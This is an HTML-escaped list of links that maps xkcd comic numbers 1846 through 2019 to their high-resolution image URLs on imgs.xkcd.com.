&lt;li>1846: &lt;a href="https://imgs.xkcd.com/comics/drone_problems_2x.png">https://imgs.xkcd.com/comics/drone_problems_2x.png&lt;/a>&lt;/li>
&lt;li>1847: &lt;a href="https://imgs.xkcd.com/comics/dubious_study_2x.png">https://imgs.xkcd.com/comics/dubious_study_2x.png&lt;/a>&lt;/li>
&lt;li>1848: &lt;a href="https://imgs.xkcd.com/comics/glacial_erratic_2x.png">https://imgs.xkcd.com/comics/glacial_erratic_2x.png&lt;/a>&lt;/li>
&lt;li>1849: &lt;a href="https://imgs.xkcd.com/comics/decades_2x.png">https://imgs.xkcd.com/comics/decades_2x.png&lt;/a>&lt;/li>
&lt;li>1850: &lt;a href="https://imgs.xkcd.com/comics/air_force_museum_2x.png">https://imgs.xkcd.com/comics/air_force_museum_2x.png&lt;/a>&lt;/li>
&lt;li>1851: &lt;a href="https://imgs.xkcd.com/comics/magnetohydrodynamics_2x.png">https://imgs.xkcd.com/comics/magnetohydrodynamics_2x.png&lt;/a>&lt;/li>
&lt;li>1852: &lt;a href="https://imgs.xkcd.com/comics/election_map_2x.png">https://imgs.xkcd.com/comics/election_map_2x.png&lt;/a>&lt;/li>
&lt;li>1853: &lt;a href="https://imgs.xkcd.com/comics/once_per_day_2x.png">https://imgs.xkcd.com/comics/once_per_day_2x.png&lt;/a>&lt;/li>
&lt;li>1854: &lt;a href="https://imgs.xkcd.com/comics/refresh_types_2x.png">https://imgs.xkcd.com/comics/refresh_types_2x.png&lt;/a>&lt;/li>
&lt;li>1855: &lt;a href="https://imgs.xkcd.com/comics/telephoto_2x.png">https://imgs.xkcd.com/comics/telephoto_2x.png&lt;/a>&lt;/li>
&lt;li>1856: &lt;a href="https://imgs.xkcd.com/comics/existence_proof_2x.png">https://imgs.xkcd.com/comics/existence_proof_2x.png&lt;/a>&lt;/li>
&lt;li>1857: &lt;a href="https://imgs.xkcd.com/comics/emoji_movie_2x.png">https://imgs.xkcd.com/comics/emoji_movie_2x.png&lt;/a>&lt;/li>
&lt;li>1858: &lt;a href="https://imgs.xkcd.com/comics/4th_of_july_2x.png">https://imgs.xkcd.com/comics/4th_of_july_2x.png&lt;/a>&lt;/li>
&lt;li>1859: &lt;a href="https://imgs.xkcd.com/comics/sports_knowledge_2x.png">https://imgs.xkcd.com/comics/sports_knowledge_2x.png&lt;/a>&lt;/li>
&lt;li>1860: &lt;a href="https://imgs.xkcd.com/comics/communicating_2x.png">https://imgs.xkcd.com/comics/communicating_2x.png&lt;/a>&lt;/li>
&lt;li>1861: &lt;a href="https://imgs.xkcd.com/comics/quantum_2x.png">https://imgs.xkcd.com/comics/quantum_2x.png&lt;/a>&lt;/li>
&lt;li>1862: &lt;a href="https://imgs.xkcd.com/comics/particle_properties_2x.png">https://imgs.xkcd.com/comics/particle_properties_2x.png&lt;/a>&lt;/li>
&lt;li>1863: &lt;a href="https://imgs.xkcd.com/comics/screenshots_2x.png">https://imgs.xkcd.com/comics/screenshots_2x.png&lt;/a>&lt;/li>
&lt;li>1864: &lt;a href="https://imgs.xkcd.com/comics/city_nicknames_2x.png">https://imgs.xkcd.com/comics/city_nicknames_2x.png&lt;/a>&lt;/li>
&lt;li>1865: &lt;a href="https://imgs.xkcd.com/comics/wifi_vs_cellular_2x.png">https://imgs.xkcd.com/comics/wifi_vs_cellular_2x.png&lt;/a>&lt;/li>
&lt;li>1866: &lt;a href="https://imgs.xkcd.com/comics/russells_teapot_2x.png">https://imgs.xkcd.com/comics/russells_teapot_2x.png&lt;/a>&lt;/li>
&lt;li>1867: &lt;a href="https://imgs.xkcd.com/comics/physics_confession_2x.png">https://imgs.xkcd.com/comics/physics_confession_2x.png&lt;/a>&lt;/li>
&lt;li>1868: &lt;a href="https://imgs.xkcd.com/comics/eclipse_flights_2x.png">https://imgs.xkcd.com/comics/eclipse_flights_2x.png&lt;/a>&lt;/li>
&lt;li>1869: &lt;a href="https://imgs.xkcd.com/comics/positive_and_negative_reviews_2x.png">https://imgs.xkcd.com/comics/positive_and_negative_reviews_2x.png&lt;/a>&lt;/li>
&lt;li>1870: &lt;a href="https://imgs.xkcd.com/comics/emoji_movie_reviews_2x.png">https://imgs.xkcd.com/comics/emoji_movie_reviews_2x.png&lt;/a>&lt;/li>
&lt;li>1871: &lt;a href="https://imgs.xkcd.com/comics/bun_alert_2x.png">https://imgs.xkcd.com/comics/bun_alert_2x.png&lt;/a>&lt;/li>
&lt;li>1872: &lt;a href="https://imgs.xkcd.com/comics/backup_batteries_2x.png">https://imgs.xkcd.com/comics/backup_batteries_2x.png&lt;/a>&lt;/li>
&lt;li>1873: &lt;a href="https://imgs.xkcd.com/comics/email_reply_2x.png">https://imgs.xkcd.com/comics/email_reply_2x.png&lt;/a>&lt;/li>
&lt;li>1874: &lt;a href="https://imgs.xkcd.com/comics/geologic_faults_2x.png">https://imgs.xkcd.com/comics/geologic_faults_2x.png&lt;/a>&lt;/li>
&lt;li>1875: &lt;a href="https://imgs.xkcd.com/comics/computers_vs_humans_2x.png">https://imgs.xkcd.com/comics/computers_vs_humans_2x.png&lt;/a>&lt;/li>
&lt;li>1876: &lt;a href="https://imgs.xkcd.com/comics/eclipse_searches_2x.png">https://imgs.xkcd.com/comics/eclipse_searches_2x.png&lt;/a>&lt;/li>
&lt;li>1877: &lt;a href="https://imgs.xkcd.com/comics/eclipse_science_2x.png">https://imgs.xkcd.com/comics/eclipse_science_2x.png&lt;/a>&lt;/li>
&lt;li>1878: &lt;a href="https://imgs.xkcd.com/comics/earth_orbital_diagram_2x.png">https://imgs.xkcd.com/comics/earth_orbital_diagram_2x.png&lt;/a>&lt;/li>
&lt;li>1879: &lt;a href="https://imgs.xkcd.com/comics/eclipse_birds_2x.png">https://imgs.xkcd.com/comics/eclipse_birds_2x.png&lt;/a>&lt;/li>
&lt;li>1880: &lt;a href="https://imgs.xkcd.com/comics/eclipse_review_2x.png">https://imgs.xkcd.com/comics/eclipse_review_2x.png&lt;/a>&lt;/li>
&lt;li>1881: &lt;a href="https://imgs.xkcd.com/comics/drone_training_2x.png">https://imgs.xkcd.com/comics/drone_training_2x.png&lt;/a>&lt;/li>
&lt;li>1882: &lt;a href="https://imgs.xkcd.com/comics/color_models_2x.png">https://imgs.xkcd.com/comics/color_models_2x.png&lt;/a>&lt;/li>
&lt;li>1883: &lt;a href="https://imgs.xkcd.com/comics/supervillain_plan_2x.png">https://imgs.xkcd.com/comics/supervillain_plan_2x.png&lt;/a>&lt;/li>
&lt;li>1884: &lt;a href="https://imgs.xkcd.com/comics/ringer_volume_media_volume_2x.png">https://imgs.xkcd.com/comics/ringer_volume_media_volume_2x.png&lt;/a>&lt;/li>
&lt;li>1885: &lt;a href="https://imgs.xkcd.com/comics/ensemble_model_2x.png">https://imgs.xkcd.com/comics/ensemble_model_2x.png&lt;/a>&lt;/li>
&lt;li>1886: &lt;a href="https://imgs.xkcd.com/comics/typing_notifications_2x.png">https://imgs.xkcd.com/comics/typing_notifications_2x.png&lt;/a>&lt;/li>
&lt;li>1887: &lt;a href="https://imgs.xkcd.com/comics/two_down_one_to_go_2x.png">https://imgs.xkcd.com/comics/two_down_one_to_go_2x.png&lt;/a>&lt;/li>
&lt;li>1888: &lt;a href="https://imgs.xkcd.com/comics/still_in_use_2x.png">https://imgs.xkcd.com/comics/still_in_use_2x.png&lt;/a>&lt;/li>
&lt;li>1889: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_6_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_6_2x.png&lt;/a>&lt;/li>
&lt;li>1890: &lt;a href="https://imgs.xkcd.com/comics/what_to_bring_2x.png">https://imgs.xkcd.com/comics/what_to_bring_2x.png&lt;/a>&lt;/li>
&lt;li>1891: &lt;a href="https://imgs.xkcd.com/comics/obsolete_technology_2x.png">https://imgs.xkcd.com/comics/obsolete_technology_2x.png&lt;/a>&lt;/li>
&lt;li>1892: &lt;a href="https://imgs.xkcd.com/comics/usb_cables_2x.png">https://imgs.xkcd.com/comics/usb_cables_2x.png&lt;/a>&lt;/li>
&lt;li>1893: &lt;a href="https://imgs.xkcd.com/comics/thread_2x.png">https://imgs.xkcd.com/comics/thread_2x.png&lt;/a>&lt;/li>
&lt;li>1894: &lt;a href="https://imgs.xkcd.com/comics/real_estate_2x.png">https://imgs.xkcd.com/comics/real_estate_2x.png&lt;/a>&lt;/li>
&lt;li>1895: &lt;a href="https://imgs.xkcd.com/comics/worrying_scientist_interviews_2x.png">https://imgs.xkcd.com/comics/worrying_scientist_interviews_2x.png&lt;/a>&lt;/li>
&lt;li>1896: &lt;a href="https://imgs.xkcd.com/comics/active_ingredients_only_2x.png">https://imgs.xkcd.com/comics/active_ingredients_only_2x.png&lt;/a>&lt;/li>
&lt;li>1897: &lt;a href="https://imgs.xkcd.com/comics/self_driving_2x.png">https://imgs.xkcd.com/comics/self_driving_2x.png&lt;/a>&lt;/li>
&lt;li>1898: &lt;a href="https://imgs.xkcd.com/comics/october_2017_2x.png">https://imgs.xkcd.com/comics/october_2017_2x.png&lt;/a>&lt;/li>
&lt;li>1899: &lt;a href="https://imgs.xkcd.com/comics/ears_2x.png">https://imgs.xkcd.com/comics/ears_2x.png&lt;/a>&lt;/li>
&lt;li>1900: &lt;a href="https://imgs.xkcd.com/comics/jet_lag_2x.png">https://imgs.xkcd.com/comics/jet_lag_2x.png&lt;/a>&lt;/li>
&lt;li>1901: &lt;a href="https://imgs.xkcd.com/comics/logical_2x.png">https://imgs.xkcd.com/comics/logical_2x.png&lt;/a>&lt;/li>
&lt;li>1902: &lt;a href="https://imgs.xkcd.com/comics/state_borders_2x.png">https://imgs.xkcd.com/comics/state_borders_2x.png&lt;/a>&lt;/li>
&lt;li>1903: &lt;a href="https://imgs.xkcd.com/comics/bun_trend_2x.png">https://imgs.xkcd.com/comics/bun_trend_2x.png&lt;/a>&lt;/li>
&lt;li>1904: &lt;a href="https://imgs.xkcd.com/comics/research_risks_2x.png">https://imgs.xkcd.com/comics/research_risks_2x.png&lt;/a>&lt;/li>
&lt;li>1905: &lt;a href="https://imgs.xkcd.com/comics/cast_iron_pans_2x.png">https://imgs.xkcd.com/comics/cast_iron_pans_2x.png&lt;/a>&lt;/li>
&lt;li>1906: &lt;a href="https://imgs.xkcd.com/comics/making_progress_2x.png">https://imgs.xkcd.com/comics/making_progress_2x.png&lt;/a>&lt;/li>
&lt;li>1907: &lt;a href="https://imgs.xkcd.com/comics/immune_system_2x.png">https://imgs.xkcd.com/comics/immune_system_2x.png&lt;/a>&lt;/li>
&lt;li>1908: &lt;a href="https://imgs.xkcd.com/comics/credit_card_rewards_2x.png">https://imgs.xkcd.com/comics/credit_card_rewards_2x.png&lt;/a>&lt;/li>
&lt;li>1909: &lt;a href="https://imgs.xkcd.com/comics/digital_resource_lifespan_2x.png">https://imgs.xkcd.com/comics/digital_resource_lifespan_2x.png&lt;/a>&lt;/li>
&lt;li>1910: &lt;a href="https://imgs.xkcd.com/comics/sky_spotters_2x.png">https://imgs.xkcd.com/comics/sky_spotters_2x.png&lt;/a>&lt;/li>
&lt;li>1911: &lt;a href="https://imgs.xkcd.com/comics/defensive_profile_2x.png">https://imgs.xkcd.com/comics/defensive_profile_2x.png&lt;/a>&lt;/li>
&lt;li>1912: &lt;a href="https://imgs.xkcd.com/comics/thermostat_2x.png">https://imgs.xkcd.com/comics/thermostat_2x.png&lt;/a>&lt;/li>
&lt;li>1913: &lt;a href="https://imgs.xkcd.com/comics/i_2x.png">https://imgs.xkcd.com/comics/i_2x.png&lt;/a>&lt;/li>
&lt;li>1914: &lt;a href="https://imgs.xkcd.com/comics/twitter_verification_2x.png">https://imgs.xkcd.com/comics/twitter_verification_2x.png&lt;/a>&lt;/li>
&lt;li>1915: &lt;a href="https://imgs.xkcd.com/comics/nightmare_email_feature_2x.png">https://imgs.xkcd.com/comics/nightmare_email_feature_2x.png&lt;/a>&lt;/li>
&lt;li>1916: &lt;a href="https://imgs.xkcd.com/comics/temperature_preferences_2x.png">https://imgs.xkcd.com/comics/temperature_preferences_2x.png&lt;/a>&lt;/li>
&lt;li>1917: &lt;a href="https://imgs.xkcd.com/comics/how_to_make_friends_2x.png">https://imgs.xkcd.com/comics/how_to_make_friends_2x.png&lt;/a>&lt;/li>
&lt;li>1918: &lt;a href="https://imgs.xkcd.com/comics/nexus_2x.png">https://imgs.xkcd.com/comics/nexus_2x.png&lt;/a>&lt;/li>
&lt;li>1919: &lt;a href="https://imgs.xkcd.com/comics/interstellar_asteroid_2x.png">https://imgs.xkcd.com/comics/interstellar_asteroid_2x.png&lt;/a>&lt;/li>
&lt;li>1920: &lt;a href="https://imgs.xkcd.com/comics/emoji_sports_2x.png">https://imgs.xkcd.com/comics/emoji_sports_2x.png&lt;/a>&lt;/li>
&lt;li>1921: &lt;a href="https://imgs.xkcd.com/comics/the_moon_and_the_great_wall_2x.png">https://imgs.xkcd.com/comics/the_moon_and_the_great_wall_2x.png&lt;/a>&lt;/li>
&lt;li>1922: &lt;a href="https://imgs.xkcd.com/comics/interferometry_2x.png">https://imgs.xkcd.com/comics/interferometry_2x.png&lt;/a>&lt;/li>
&lt;li>1923: &lt;a href="https://imgs.xkcd.com/comics/felsius_2x.png">https://imgs.xkcd.com/comics/felsius_2x.png&lt;/a>&lt;/li>
&lt;li>1924: &lt;a href="https://imgs.xkcd.com/comics/solar_panels_2x.png">https://imgs.xkcd.com/comics/solar_panels_2x.png&lt;/a>&lt;/li>
&lt;li>1925: &lt;a href="https://imgs.xkcd.com/comics/self_driving_car_milestones_2x.png">https://imgs.xkcd.com/comics/self_driving_car_milestones_2x.png&lt;/a>&lt;/li>
&lt;li>1926: &lt;a href="https://imgs.xkcd.com/comics/bad_code_2x.png">https://imgs.xkcd.com/comics/bad_code_2x.png&lt;/a>&lt;/li>
&lt;li>1927: &lt;a href="https://imgs.xkcd.com/comics/tinder_2x.png">https://imgs.xkcd.com/comics/tinder_2x.png&lt;/a>&lt;/li>
&lt;li>1928: &lt;a href="https://imgs.xkcd.com/comics/seven_years_2x.png">https://imgs.xkcd.com/comics/seven_years_2x.png&lt;/a>&lt;/li>
&lt;li>1929: &lt;a href="https://imgs.xkcd.com/comics/argument_timing_2x.png">https://imgs.xkcd.com/comics/argument_timing_2x.png&lt;/a>&lt;/li>
&lt;li>1930: &lt;a href="https://imgs.xkcd.com/comics/calendar_facts_2x.png">https://imgs.xkcd.com/comics/calendar_facts_2x.png&lt;/a>&lt;/li>
&lt;li>1931: &lt;a href="https://imgs.xkcd.com/comics/virtual_assistant_2x.png">https://imgs.xkcd.com/comics/virtual_assistant_2x.png&lt;/a>&lt;/li>
&lt;li>1932: &lt;a href="https://imgs.xkcd.com/comics/the_true_meaning_of_christmas_2x.png">https://imgs.xkcd.com/comics/the_true_meaning_of_christmas_2x.png&lt;/a>&lt;/li>
&lt;li>1933: &lt;a href="https://imgs.xkcd.com/comics/santa_facts_2x.png">https://imgs.xkcd.com/comics/santa_facts_2x.png&lt;/a>&lt;/li>
&lt;li>1934: &lt;a href="https://imgs.xkcd.com/comics/phone_security_2x.png">https://imgs.xkcd.com/comics/phone_security_2x.png&lt;/a>&lt;/li>
&lt;li>1935: &lt;a href="https://imgs.xkcd.com/comics/2018_2x.png">https://imgs.xkcd.com/comics/2018_2x.png&lt;/a>&lt;/li>
&lt;li>1936: &lt;a href="https://imgs.xkcd.com/comics/desert_golfing_2x.png">https://imgs.xkcd.com/comics/desert_golfing_2x.png&lt;/a>&lt;/li>
&lt;li>1937: &lt;a href="https://imgs.xkcd.com/comics/iata_airport_abbreviations_2x.png">https://imgs.xkcd.com/comics/iata_airport_abbreviations_2x.png&lt;/a>&lt;/li>
&lt;li>1938: &lt;a href="https://imgs.xkcd.com/comics/meltdown_and_spectre_2x.png">https://imgs.xkcd.com/comics/meltdown_and_spectre_2x.png&lt;/a>&lt;/li>
&lt;li>1939: &lt;a href="https://imgs.xkcd.com/comics/2016_election_map_2x.png">https://imgs.xkcd.com/comics/2016_election_map_2x.png&lt;/a>&lt;/li>
&lt;li>1940: &lt;a href="https://imgs.xkcd.com/comics/the_food_size_cycle_2x.png">https://imgs.xkcd.com/comics/the_food_size_cycle_2x.png&lt;/a>&lt;/li>
&lt;li>1941: &lt;a href="https://imgs.xkcd.com/comics/dying_gift_2x.png">https://imgs.xkcd.com/comics/dying_gift_2x.png&lt;/a>&lt;/li>
&lt;li>1942: &lt;a href="https://imgs.xkcd.com/comics/memorable_quotes_2x.png">https://imgs.xkcd.com/comics/memorable_quotes_2x.png&lt;/a>&lt;/li>
&lt;li>1943: &lt;a href="https://imgs.xkcd.com/comics/universal_dreams_2x.png">https://imgs.xkcd.com/comics/universal_dreams_2x.png&lt;/a>&lt;/li>
&lt;li>1944: &lt;a href="https://imgs.xkcd.com/comics/the_end_of_the_rainbow_2x.png">https://imgs.xkcd.com/comics/the_end_of_the_rainbow_2x.png&lt;/a>&lt;/li>
&lt;li>1945: &lt;a href="https://imgs.xkcd.com/comics/scientific_paper_graph_quality_2x.png">https://imgs.xkcd.com/comics/scientific_paper_graph_quality_2x.png&lt;/a>&lt;/li>
&lt;li>1946: &lt;a href="https://imgs.xkcd.com/comics/hawaii_2x.png">https://imgs.xkcd.com/comics/hawaii_2x.png&lt;/a>&lt;/li>
&lt;li>1947: &lt;a href="https://imgs.xkcd.com/comics/night_sky_2x.png">https://imgs.xkcd.com/comics/night_sky_2x.png&lt;/a>&lt;/li>
&lt;li>1948: &lt;a href="https://imgs.xkcd.com/comics/campaign_fundraising_emails_2x.png">https://imgs.xkcd.com/comics/campaign_fundraising_emails_2x.png&lt;/a>&lt;/li>
&lt;li>1949: &lt;a href="https://imgs.xkcd.com/comics/fruit_collider_2x.png">https://imgs.xkcd.com/comics/fruit_collider_2x.png&lt;/a>&lt;/li>
&lt;li>1950: &lt;a href="https://imgs.xkcd.com/comics/chicken_pox_and_name_statistics_2x.png">https://imgs.xkcd.com/comics/chicken_pox_and_name_statistics_2x.png&lt;/a>&lt;/li>
&lt;li>1951: &lt;a href="https://imgs.xkcd.com/comics/super_bowl_watch_party_2x.png">https://imgs.xkcd.com/comics/super_bowl_watch_party_2x.png&lt;/a>&lt;/li>
&lt;li>1952: &lt;a href="https://imgs.xkcd.com/comics/backpack_decisions_2x.png">https://imgs.xkcd.com/comics/backpack_decisions_2x.png&lt;/a>&lt;/li>
&lt;li>1953: &lt;a href="https://imgs.xkcd.com/comics/the_history_of_unicode_2x.png">https://imgs.xkcd.com/comics/the_history_of_unicode_2x.png&lt;/a>&lt;/li>
&lt;li>1954: &lt;a href="https://imgs.xkcd.com/comics/impostor_syndrome_2x.png">https://imgs.xkcd.com/comics/impostor_syndrome_2x.png&lt;/a>&lt;/li>
&lt;li>1955: &lt;a href="https://imgs.xkcd.com/comics/robots_2x.png">https://imgs.xkcd.com/comics/robots_2x.png&lt;/a>&lt;/li>
&lt;li>1956: &lt;a href="https://imgs.xkcd.com/comics/unification_2x.png">https://imgs.xkcd.com/comics/unification_2x.png&lt;/a>&lt;/li>
&lt;li>1957: &lt;a href="https://imgs.xkcd.com/comics/2018_cve_list_2x.png">https://imgs.xkcd.com/comics/2018_cve_list_2x.png&lt;/a>&lt;/li>
&lt;li>1958: &lt;a href="https://imgs.xkcd.com/comics/self_driving_issues_2x.png">https://imgs.xkcd.com/comics/self_driving_issues_2x.png&lt;/a>&lt;/li>
&lt;li>1959: &lt;a href="https://imgs.xkcd.com/comics/the_simpsons_2x.png">https://imgs.xkcd.com/comics/the_simpsons_2x.png&lt;/a>&lt;/li>
&lt;li>1960: &lt;a href="https://imgs.xkcd.com/comics/code_golf_2x.png">https://imgs.xkcd.com/comics/code_golf_2x.png&lt;/a>&lt;/li>
&lt;li>1961: &lt;a href="https://imgs.xkcd.com/comics/interaction_2x.png">https://imgs.xkcd.com/comics/interaction_2x.png&lt;/a>&lt;/li>
&lt;li>1962: &lt;a href="https://imgs.xkcd.com/comics/generations_2x.png">https://imgs.xkcd.com/comics/generations_2x.png&lt;/a>&lt;/li>
&lt;li>1963: &lt;a href="https://imgs.xkcd.com/comics/namespace_land_rush_2x.png">https://imgs.xkcd.com/comics/namespace_land_rush_2x.png&lt;/a>&lt;/li>
&lt;li>1964: &lt;a href="https://imgs.xkcd.com/comics/spatial_orientation_2x.png">https://imgs.xkcd.com/comics/spatial_orientation_2x.png&lt;/a>&lt;/li>
&lt;li>1965: &lt;a href="https://imgs.xkcd.com/comics/background_apps_2x.png">https://imgs.xkcd.com/comics/background_apps_2x.png&lt;/a>&lt;/li>
&lt;li>1966: &lt;a href="https://imgs.xkcd.com/comics/smart_home_security_2x.png">https://imgs.xkcd.com/comics/smart_home_security_2x.png&lt;/a>&lt;/li>
&lt;li>1967: &lt;a href="https://imgs.xkcd.com/comics/violin_plots_2x.png">https://imgs.xkcd.com/comics/violin_plots_2x.png&lt;/a>&lt;/li>
&lt;li>1968: &lt;a href="https://imgs.xkcd.com/comics/robot_future_2x.png">https://imgs.xkcd.com/comics/robot_future_2x.png&lt;/a>&lt;/li>
&lt;li>1969: &lt;a href="https://imgs.xkcd.com/comics/not_available_2x.png">https://imgs.xkcd.com/comics/not_available_2x.png&lt;/a>&lt;/li>
&lt;li>1970: &lt;a href="https://imgs.xkcd.com/comics/name_dominoes_2x.png">https://imgs.xkcd.com/comics/name_dominoes_2x.png&lt;/a>&lt;/li>
&lt;li>1971: &lt;a href="https://imgs.xkcd.com/comics/personal_data_2x.png">https://imgs.xkcd.com/comics/personal_data_2x.png&lt;/a>&lt;/li>
&lt;li>1972: &lt;a href="https://imgs.xkcd.com/comics/autogyros_2x.png">https://imgs.xkcd.com/comics/autogyros_2x.png&lt;/a>&lt;/li>
&lt;li>1973: &lt;a href="https://imgs.xkcd.com/comics/star_lore_2x.png">https://imgs.xkcd.com/comics/star_lore_2x.png&lt;/a>&lt;/li>
&lt;li>1974: &lt;a href="https://imgs.xkcd.com/comics/conversational_dynamics_2x.png">https://imgs.xkcd.com/comics/conversational_dynamics_2x.png&lt;/a>&lt;/li>
&lt;li>1975: &lt;a href="https://imgs.xkcd.com/comics/right_click_2x.png">https://imgs.xkcd.com/comics/right_click_2x.png&lt;/a>&lt;/li>
&lt;li>1976: &lt;a href="https://imgs.xkcd.com/comics/friendly_questions_2x.png">https://imgs.xkcd.com/comics/friendly_questions_2x.png&lt;/a>&lt;/li>
&lt;li>1977: &lt;a href="https://imgs.xkcd.com/comics/paperwork_2x.png">https://imgs.xkcd.com/comics/paperwork_2x.png&lt;/a>&lt;/li>
&lt;li>1978: &lt;a href="https://imgs.xkcd.com/comics/congressional_testimony_2x.png">https://imgs.xkcd.com/comics/congressional_testimony_2x.png&lt;/a>&lt;/li>
&lt;li>1979: &lt;a href="https://imgs.xkcd.com/comics/history_2x.png">https://imgs.xkcd.com/comics/history_2x.png&lt;/a>&lt;/li>
&lt;li>1980: &lt;a href="https://imgs.xkcd.com/comics/turkish_delight_2x.png">https://imgs.xkcd.com/comics/turkish_delight_2x.png&lt;/a>&lt;/li>
&lt;li>1981: &lt;a href="https://imgs.xkcd.com/comics/rickrolling_anniversary_2x.png">https://imgs.xkcd.com/comics/rickrolling_anniversary_2x.png&lt;/a>&lt;/li>
&lt;li>1982: &lt;a href="https://imgs.xkcd.com/comics/evangelism_2x.png">https://imgs.xkcd.com/comics/evangelism_2x.png&lt;/a>&lt;/li>
&lt;li>1983: &lt;a href="https://imgs.xkcd.com/comics/clutter_2x.png">https://imgs.xkcd.com/comics/clutter_2x.png&lt;/a>&lt;/li>
&lt;li>1984: &lt;a href="https://imgs.xkcd.com/comics/misinterpretation_2x.png">https://imgs.xkcd.com/comics/misinterpretation_2x.png&lt;/a>&lt;/li>
&lt;li>1985: &lt;a href="https://imgs.xkcd.com/comics/meteorologist_2x.png">https://imgs.xkcd.com/comics/meteorologist_2x.png&lt;/a>&lt;/li>
&lt;li>1986: &lt;a href="https://imgs.xkcd.com/comics/river_border_2x.png">https://imgs.xkcd.com/comics/river_border_2x.png&lt;/a>&lt;/li>
&lt;li>1987: &lt;a href="https://imgs.xkcd.com/comics/python_environment_2x.png">https://imgs.xkcd.com/comics/python_environment_2x.png&lt;/a>&lt;/li>
&lt;li>1988: &lt;a href="https://imgs.xkcd.com/comics/containers_2x.png">https://imgs.xkcd.com/comics/containers_2x.png&lt;/a>&lt;/li>
&lt;li>1989: &lt;a href="https://imgs.xkcd.com/comics/imho_2x.png">https://imgs.xkcd.com/comics/imho_2x.png&lt;/a>&lt;/li>
&lt;li>1990: &lt;a href="https://imgs.xkcd.com/comics/driving_cars_2x.png">https://imgs.xkcd.com/comics/driving_cars_2x.png&lt;/a>&lt;/li>
&lt;li>1991: &lt;a href="https://imgs.xkcd.com/comics/research_areas_by_size_and_countedness_2x.png">https://imgs.xkcd.com/comics/research_areas_by_size_and_countedness_2x.png&lt;/a>&lt;/li>
&lt;li>1992: &lt;a href="https://imgs.xkcd.com/comics/safetysat_2x.png">https://imgs.xkcd.com/comics/safetysat_2x.png&lt;/a>&lt;/li>
&lt;li>1993: &lt;a href="https://imgs.xkcd.com/comics/fatal_crash_rate_2x.png">https://imgs.xkcd.com/comics/fatal_crash_rate_2x.png&lt;/a>&lt;/li>
&lt;li>1994: &lt;a href="https://imgs.xkcd.com/comics/repairs_2x.png">https://imgs.xkcd.com/comics/repairs_2x.png&lt;/a>&lt;/li>
&lt;li>1995: &lt;a href="https://imgs.xkcd.com/comics/mc_hammer_age_2x.png">https://imgs.xkcd.com/comics/mc_hammer_age_2x.png&lt;/a>&lt;/li>
&lt;li>1996: &lt;a href="https://imgs.xkcd.com/comics/morning_news_2x.png">https://imgs.xkcd.com/comics/morning_news_2x.png&lt;/a>&lt;/li>
&lt;li>1997: &lt;a href="https://imgs.xkcd.com/comics/business_update_2x.png">https://imgs.xkcd.com/comics/business_update_2x.png&lt;/a>&lt;/li>
&lt;li>1998: &lt;a href="https://imgs.xkcd.com/comics/gdpr_2x.png">https://imgs.xkcd.com/comics/gdpr_2x.png&lt;/a>&lt;/li>
&lt;li>1999: &lt;a href="https://imgs.xkcd.com/comics/selection_effect_2x.png">https://imgs.xkcd.com/comics/selection_effect_2x.png&lt;/a>&lt;/li>
&lt;li>2000: &lt;a href="https://imgs.xkcd.com/comics/xkcd_phone_2000_2x.png">https://imgs.xkcd.com/comics/xkcd_phone_2000_2x.png&lt;/a>&lt;/li>
&lt;li>2001: &lt;a href="https://imgs.xkcd.com/comics/clickbait_corrected_p_value_2x.png">https://imgs.xkcd.com/comics/clickbait_corrected_p_value_2x.png&lt;/a>&lt;/li>
&lt;li>2002: &lt;a href="https://imgs.xkcd.com/comics/lebron_james_and_stephen_curry_2x.png">https://imgs.xkcd.com/comics/lebron_james_and_stephen_curry_2x.png&lt;/a>&lt;/li>
&lt;li>2003: &lt;a href="https://imgs.xkcd.com/comics/presidential_succession_2x.png">https://imgs.xkcd.com/comics/presidential_succession_2x.png&lt;/a>&lt;/li>
&lt;li>2004: &lt;a href="https://imgs.xkcd.com/comics/sun_and_earth_2x.png">https://imgs.xkcd.com/comics/sun_and_earth_2x.png&lt;/a>&lt;/li>
&lt;li>2005: &lt;a href="https://imgs.xkcd.com/comics/attention_span_2x.png">https://imgs.xkcd.com/comics/attention_span_2x.png&lt;/a>&lt;/li>
&lt;li>2006: &lt;a href="https://imgs.xkcd.com/comics/customer_rewards_2x.png">https://imgs.xkcd.com/comics/customer_rewards_2x.png&lt;/a>&lt;/li>
&lt;li>2007: &lt;a href="https://imgs.xkcd.com/comics/brookhaven_rhic_2x.png">https://imgs.xkcd.com/comics/brookhaven_rhic_2x.png&lt;/a>&lt;/li>
&lt;li>2008: &lt;a href="https://imgs.xkcd.com/comics/irony_definition_2x.png">https://imgs.xkcd.com/comics/irony_definition_2x.png&lt;/a>&lt;/li>
&lt;li>2009: &lt;a href="https://imgs.xkcd.com/comics/hertzsprung_russell_diagram_2x.png">https://imgs.xkcd.com/comics/hertzsprung_russell_diagram_2x.png&lt;/a>&lt;/li>
&lt;li>2010: &lt;a href="https://imgs.xkcd.com/comics/update_notes_2x.png">https://imgs.xkcd.com/comics/update_notes_2x.png&lt;/a>&lt;/li>
&lt;li>2011: &lt;a href="https://imgs.xkcd.com/comics/newtons_trajectories_2x.png">https://imgs.xkcd.com/comics/newtons_trajectories_2x.png&lt;/a>&lt;/li>
&lt;li>2012: &lt;a href="https://imgs.xkcd.com/comics/thorough_analysis_2x.png">https://imgs.xkcd.com/comics/thorough_analysis_2x.png&lt;/a>&lt;/li>
&lt;li>2013: &lt;a href="https://imgs.xkcd.com/comics/rock_2x.png">https://imgs.xkcd.com/comics/rock_2x.png&lt;/a>&lt;/li>
&lt;li>2014: &lt;a href="https://imgs.xkcd.com/comics/jwst_delays_2x.png">https://imgs.xkcd.com/comics/jwst_delays_2x.png&lt;/a>&lt;/li>
&lt;li>2015: &lt;a href="https://imgs.xkcd.com/comics/new_phone_thread_2x.png">https://imgs.xkcd.com/comics/new_phone_thread_2x.png&lt;/a>&lt;/li>
&lt;li>2016: &lt;a href="https://imgs.xkcd.com/comics/oeis_submissions_2x.png">https://imgs.xkcd.com/comics/oeis_submissions_2x.png&lt;/a>&lt;/li>
&lt;li>2017: &lt;a href="https://imgs.xkcd.com/comics/stargazing_2_2x.png">https://imgs.xkcd.com/comics/stargazing_2_2x.png&lt;/a>&lt;/li>
&lt;li>2018: &lt;a href="https://imgs.xkcd.com/comics/wall_art_2x.png">https://imgs.xkcd.com/comics/wall_art_2x.png&lt;/a>&lt;/li>
&lt;li>2019: &lt;a href="https://imgs.xkcd.com/comics/an_apple_for_a_dollar_2x.png">https://imgs.xkcd.com/comics/an_apple_for_a_dollar_2x.png&lt;/a>&lt;/li>
